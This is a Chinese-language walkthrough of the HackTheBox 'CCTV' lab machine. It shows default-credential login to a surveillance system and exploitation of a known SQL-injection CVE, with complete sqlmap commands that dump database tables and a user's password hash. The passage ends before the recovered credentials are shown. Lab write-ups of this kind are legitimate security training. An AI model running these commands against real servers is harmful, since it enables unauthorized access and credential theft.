hackthebox-CCTV靶场练习

一、信息收集

这次选的是HTB的一个赛季靶场，难度为easy。

拿到IP地址后先nmap扫一下：

发现网站域名和开放的端口号，只开放了一个80和一个22，分别是web页面和ssh登录。

点进网站看一下，直接ip点开网站打不开，需要在本机的域名解析中加上才可以，在/etc/hosts中加上域名解析：

二、通过CVE拿到第一个shell

然后点开网站即可打开：

发现没什么东西，有个登录按钮，进去看一下

发现是一个系统的登录页面：

且没有验证码，理论上可以进行爆破登录。但是对于这种系统，先去搜一下有没有默认密码最快，发现这是一个视频监控软件，且有相应的默认密码admin：admin。尝试登录一下发现可以成功登入。

点进去后发现是一个很大的系统，

但是可以看到该系统的版本为1.37.63，既然如此最快速的方法还是去搜一下这个系统有没有CVE，有的话直接利用就好了，发现网上正好有该版本适用的CVE，是一个sql注入，那就先注入一下看看能拿到什么数据

直接用poc显示没有认证，这时候想起来之前登录过，应该加上cookie才可以

加上cookie后即可sql注入，发现注入点且给了payload

之后就是常规的爆库爆表爆字段了，基本上就是运行sqlmap就好了：

下面贴一下命令吧：

爆库名：
sqlmap -u 'http://cctv.htb/zm/index.php?view=request&request=event&action=removetag&tid=1' --cookie="ZMSESSID=bb2k6c68bbbqtt15c3ofouk3ci" --dbs
爆表名：
sqlmap -u 'http://cctv.htb/zm/index.php?view=request&request=event&action=removetag&tid=1' --cookie="ZMSESSID=bb2k6c68bbbqtt15c3ofouk3ci" -D zm --tables
爆列名：
sqlmap -u 'http://cctv.htb/zm/index.php?view=request&request=event&action=removetag&tid=1' --cookie="ZMSESSID=bb2k6c68bbbqtt15c3ofouk3ci" -D zm -T Users --columns
拿到用户名密码：
sqlmap -u 'http://cctv.htb/zm/index.php?view=request&request=event&action=removetag&tid=1' --cookie="ZMSESSID=bb2k6c68bbbqtt15c3ofouk3ci" -D zm -T Users -C "Password" --where="Username='mark'" --dump

最后拿到用户名和密码为：